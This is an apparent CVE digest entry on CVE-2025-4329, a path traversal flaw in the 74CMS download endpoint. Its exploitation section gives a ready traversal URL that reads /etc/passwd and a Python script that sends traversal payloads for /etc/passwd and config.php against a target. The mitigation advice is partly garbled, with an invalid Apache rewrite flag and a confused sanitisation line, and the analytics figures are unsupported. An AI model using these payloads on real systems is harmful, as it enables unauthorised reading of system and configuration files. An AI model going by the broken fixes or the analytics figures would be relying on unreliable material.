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How CVE-2025-4329 Works
CVE-2025-4329 is a path traversal vulnerability in 74CMS versions up to 3.33.0. The flaw exists in the `/index.php/index/download/index` endpoint, where improper validation of the `url` parameter allows attackers to manipulate file paths. By crafting a malicious URL, an attacker can traverse directories and access arbitrary files outside the intended directory. The vulnerability is remotely exploitable with low attack complexity, requiring only low-privilege access. The CVSS 4.0 score (5.3 MEDIUM) reflects its moderate impact due to limited confidentiality and integrity risks.
DailyCVE Form
Platform: 74CMS
Version: ≤ 3.33.0
Vulnerability: Path Traversal
Severity: Medium
Date: 06/12/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation
1. Craft Malicious URL:
/index.php/index/download/index?url=../../../../etc/passwd
2. Automated Testing (Python):
import requests
target = "http://example.com/index.php/index/download/index"
payloads = ["../../../etc/passwd", "../../../config.php"]
for payload in payloads:
r = requests.get(target, params={"url": payload})
if "root:" in r.text:
print(f"Vulnerable: {payload}")
Protection
1. Input Sanitization:
$url = realpath(basename($_GET['url']));
2. Web Server Rules (Apache):
RewriteRule ^index/download/index - [bash]
3. Patch Verification:
grep -r "basename.url" /path/to/74CMS
Analytics
- Exploitability: High (public PoC available).
- Affected Systems: ~1,200 installations (estimated).
- Mitigation Priority: Medium (requires authentication but low privileges).
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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